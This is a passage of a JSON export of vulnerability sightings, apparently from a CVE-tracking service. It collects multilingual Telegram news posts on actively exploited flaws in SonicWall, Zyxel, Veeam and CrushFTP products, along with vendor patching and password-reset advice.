\u0431\u0430\u043d\u0434\u043e\u0439 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Akira, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0430 MFA \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u044b\u0445 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043d\u0430 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 VPN-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 SonicWall, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f OTP, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 CVE-2024-40766.", "creation_timestamp": "2025-09-30T17:38:36.000000Z"}, {"uuid": "15bbb55d-bdba-4d19-bc06-3d2522572801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/BleepingComputer/21451", "content": "\u200aHackers exploit critical unpatched flaw in Zyxel CPE devices\n\nHackers are exploiting a critical command injection vulnerability in Zyxel CPE Series devices that is currently tracked as CVE-2024-40891 and remains unpatched since last July. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-critical-unpatched-flaw-in-zyxel-cpe-devices/", "creation_timestamp": "2025-01-29T15:54:00.000000Z"}, {"uuid": "963363ef-5ccf-47a5-82c1-521a2d28b32a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/true_secator/7308", "content": "\u0412 SonicWall \u043f\u0440\u0438\u0448\u043b\u0438 \u043a \u0432\u044b\u0432\u043e\u0434\u0443, \u0447\u0442\u043e \u043d\u0438\u043a\u0430\u043a\u043e\u0439 0-day \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0430 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 Akira ransomware \u043d\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b Gen 7 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c SSLVPN \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u044e\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430 CVE-2024-40766, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2024 \u0433\u043e\u0434\u0430 (\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 SNWLID-2024-0015).\n\nCVE\u20112024\u201140766 - \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c SSLVPN\u00a0\u0432 SonicOS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0442\u043e\u0447\u043a\u0430\u043c, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0435\u0430\u043d\u0441\u044b \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a VPN \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u00a0\u0448\u0438\u0440\u043e\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0433\u043e\u0434 \u043d\u0430\u0437\u0430\u0434, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435\u00a0 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 Akira \u0438 Fog,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0435\u0435 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439.\n\n\u0412 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 Arctic Wolf Labs \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043d\u0430\u043c\u0435\u043a\u043d\u0443\u043b\u0430 \u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 0-day \u0432 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430\u0445 SonicWall Gen 7, \u0437\u0430\u043c\u0435\u0442\u0438\u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u043a\u043e\u043d\u043e\u043c\u0435\u0440\u043d\u043e\u0441\u0442\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 Akira.\n\nSonicWall \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u0438\u00a0\u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u044b SSL VPN, \u0442\u0430\u043a\u0436\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 IP-\u0430\u0434\u0440\u0435\u0441\u0430\u043c\u0438, \u043f\u043e\u043a\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043d\u0435 \u043f\u0440\u043e\u044f\u0441\u043d\u0438\u0442\u0441\u044f.\n\n\u041f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u043e\u043b\u0435\u0435 40 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0443\u0431\u0435\u0434\u0438\u043b\u0441\u044f \u0432 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043d\u0443\u043b\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u043f\u043e\u043b\u0430\u0433\u0430\u044f, \u0447\u0442\u043e Akira \u043d\u0430\u0446\u0435\u043f\u043b\u0435\u043d\u0430  \u043d\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2024-40766 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0441 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 Gen 6 \u043d\u0430 Gen 7.\n\n\u041c\u043d\u043e\u0433\u0438\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0435\u0439 \u0441 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 Gen 6 \u043d\u0430 Gen 7, \u043a\u043e\u0433\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438 \u0438 \u043d\u0435 \u0441\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u043b\u0438\u0441\u044c. \u0421\u0431\u0440\u043e\u0441 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0431\u044b\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u043c \u0448\u0430\u0433\u043e\u043c, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u0432 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\u043c \u0441\u0435\u0439\u0447\u0430\u0441 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u043c\u0435\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 \u043d\u0430\u0434\u0435\u0436\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0438 MFA, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0431\u0440\u043e\u0441 \u0432\u0441\u0435\u0445 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0442\u0435\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f SSLVPN.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u043c\u043d\u043e\u0433\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430 Reddit \u0432\u044b\u0440\u0430\u0437\u0438\u043b\u0438 \u0441\u043e\u043c\u043d\u0435\u043d\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430, \u0437\u0430\u044f\u0432\u043b\u044f\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0435 \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439.\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435\u00a0\u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u0431\u044b\u043b\u043e \u0434\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b Gen 7. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0430\u044f \u043e\u0431 \u043e\u0442\u043a\u0430\u0437\u0435 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b SonicWall \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u0445 \u0438\u0445 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2025-08-07T16:58:15.000000Z"}, {"uuid": "d1dd3fc7-f7f7-4526-b6a6-4a4d86ae23b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/DarkWebInformer_News/222", "content": "\ud83d\udea8 News Alert!\n\nSource: The Hacker News\nTitle: Zyxel CPE Devices Face Active Exploitation Due to Unpatched CVE-2024-40891 Vulnerability\nLink: https://thehackernews.com/2025/01/zyxel-cpe-devices-face-active.html", "creation_timestamp": "2025-01-29T05:58:54.000000Z"}, {"uuid": "d67f80fa-bbb2-4d31-a070-2f43a3e261ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/HackerNewscyber/1596", "content": "\ud83d\udd34\u0628\u0627\u06af \u0628\u062d\u0631\u0627\u0646\u06cc Veeam RCE \u06a9\u0647 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0628\u0627\u062c\u200c\u0627\u0641\u0632\u0627\u0631 Frag \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f\n\n\ud83d\udd3a\u067e\u0633 \u0627\u0632 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0628\u0627\u062c\u200c\u0627\u0641\u0632\u0627\u0631 Akira \u0648 Fog\u060c \u06cc\u06a9 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062d\u06cc\u0627\u062a\u06cc Veeam Backup & Replication (VBR) \u0646\u06cc\u0632 \u0627\u062e\u06cc\u0631\u0627 \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u0642\u0631\u0627\u0631 \u0628\u0627\u062c\u200c\u0627\u0641\u0632\u0627\u0631 Frag \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a.\n\n\ud83d\udd3a\u0641\u0644\u0648\u0631\u06cc\u0627\u0646 \u0647\u0627\u0648\u0632\u0631\u060c \u0645\u062d\u0642\u0642 \u0627\u0645\u0646\u06cc\u062a\u06cc Code White \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc (\u06a9\u0647 \u0628\u0627 \u0646\u0627\u0645 CVE-2024-40711 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f) \u0646\u0627\u0634\u06cc \u0627\u0632 \u0633\u0631\u06cc\u0627\u0644\u200c\u0632\u062f\u0627\u06cc\u06cc \u0627\u0632 \u0636\u0639\u0641 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u063a\u06cc\u0631\u0642\u0627\u0628\u0644 \u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0633\u062a \u06a9\u0647 \u0639\u0648\u0627\u0645\u0644 \u062a\u0647\u062f\u06cc\u062f \u062a\u0623\u06cc\u06cc\u062f \u0646\u0634\u062f\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0627\u0632 \u0622\u0646 \u0628\u0631\u0627\u06cc \u0628\u0647 \u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RCE) \u062f\u0631 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc Veeam VBR \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0646\u062f.\n\n\ud83d\udea8 @HackerNewscyber", "creation_timestamp": "2024-11-08T20:39:26.000000Z"}, {"uuid": "8fc7194c-28d4-40c8-a819-3fa1bdd86e71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "https://t.me/itsec_news/5610", "content": "\u200b\u26a1\ufe0f\u0425\u0430\u043a\u0435\u0440\u044b \u0437\u0430\u0445\u043e\u0434\u044f\u0442 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430: CrushFTP v11 \u043e\u0442\u043a\u0440\u044b\u0442 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\n\n\ud83d\udcac CrushFTP \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 HTTP(S)-\u043f\u043e\u0440\u0442\u044b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043f\u0438\u0441\u044c\u043c\u0443, \u0440\u0430\u0437\u043e\u0441\u043b\u0430\u043d\u043d\u043e\u043c\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c 21 \u043c\u0430\u0440\u0442\u0430 2025 \u0433\u043e\u0434\u0430, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 CrushFTP v11. \u0420\u0430\u043d\u0435\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u043f\u0438\u0441\u044c\u043c\u0430, \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f. \u041e\u0434\u043d\u0430\u043a\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0432 \u0442\u043e\u0442 \u0436\u0435 \u0434\u0435\u043d\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0442 \u044d\u0442\u043e\u043c\u0443 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044e \u2014 \u0432 \u043d\u0435\u0439 \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 v10. \u041f\u0435\u0440\u0432\u044b\u043c\u0438 \u043e\u0431 \u044d\u0442\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Rapid7, \u0447\u0442\u043e \u0432\u044b\u0437\u0432\u0430\u043b\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043e\u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u0421\u0443\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e HTTP(S)-\u043f\u043e\u0440\u0442\u0430 \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0431\u0435\u0437 \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0420\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u0443\u0436\u0438\u0442\u044c \u043b\u0438\u0431\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 CrushFTP v11.3.1 \u0438 \u0432\u044b\u0448\u0435, \u043b\u0438\u0431\u043e \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 DMZ, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u0432 \u0434\u0435\u043c\u0438\u043b\u0438\u0442\u0430\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u043e\u043d\u0435 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b\u0430, \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435. \u0414\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e, 